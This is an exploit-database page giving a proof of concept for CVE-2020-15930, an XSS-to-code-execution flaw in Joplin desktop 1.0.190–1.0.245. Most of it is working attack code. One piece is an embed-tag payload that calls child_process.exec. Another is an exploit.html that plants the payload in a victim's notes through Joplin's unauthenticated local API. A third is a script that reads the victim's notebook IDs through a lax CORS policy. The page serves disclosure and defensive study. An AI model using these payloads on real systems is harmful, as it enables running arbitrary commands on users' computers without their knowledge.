joplin 1.0.245 arbitrary code execution (poc)
▸▸▸ Exploit & Vulnerability >> webapps exploit & multiple vulnerability
# Exploit Title: Joplin 1.0.245 - Arbitrary Code Execution (PoC) # Date: 2020-09-21 # Exploit Author: Ademar Nowasky Junior (@nowaskyjr) # Vendor Homepage: https://joplinapp.org/ # Software Link: https://github.com/laurent22/joplin/releases/download/v1.0.245/Joplin-Setup-1.0.245.exe # Version: 1.0.190 to 1.0.245 # Tested on: Windows / Linux # CVE : CVE-2020-15930 # References: # https://github.com/laurent22/joplin/commit/57d750bc9aeb0f98d53ed4b924458b54984c15ff # 1. Technical Details # An XSS issue in Joplin for desktop v1.0.190 to v1.0.245 allows arbitrary code execution via a malicious HTML embed tag. # HTML embed tags are not blacklisted in Joplin's renderer. This can be chained with a bug where child windows opened through window.open() have node integration enabled to achieve ACE. # If Joplin API is enabled, Remote Code Execution with user interaction is possible by abusing the lack of required authentication in Joplin 'POST /notes' api endpoint to remotely deploy the payload into the victim application. # 2. PoC # Paste the following payload into a note: <embed src="data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)</script>"> # 2.1 RCE with user interaction # Enable Joplin API, visit exploit.html and open the created note in Joplin to execute the exploit. # By default, notes are stored in the last notebook created. <!-- exploit.html --> <script> x = new XMLHttpRequest; j = { title: "CVE-2020-15930", body: "<embed src='data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)<\/script>'>" }; x.open("POST", "http://127.0.0.1:41184/notes"); x.send(JSON.stringify(j)); </script> # To create a note in other notebooks you need the notebook ID. It's possible to get the victim's notebooks IDs due to a relaxed CORS policy in 'GET /folders' endpoint. <!-- notebooks.html --> <script> x = new XMLHttpRequest(); x.onreadystatechange = function() { if (x.readyState == XMLHttpRequest.DONE) { alert(x.responseText); } } x.open('GET', 'http://127.0.0.1:41184/folders'); x.send(); </script>
Joplin 1.0.245 arbitrary code execution (poc) Vulnerability / Exploit Source : Joplin 1.0.245 arbitrary code execution (poc)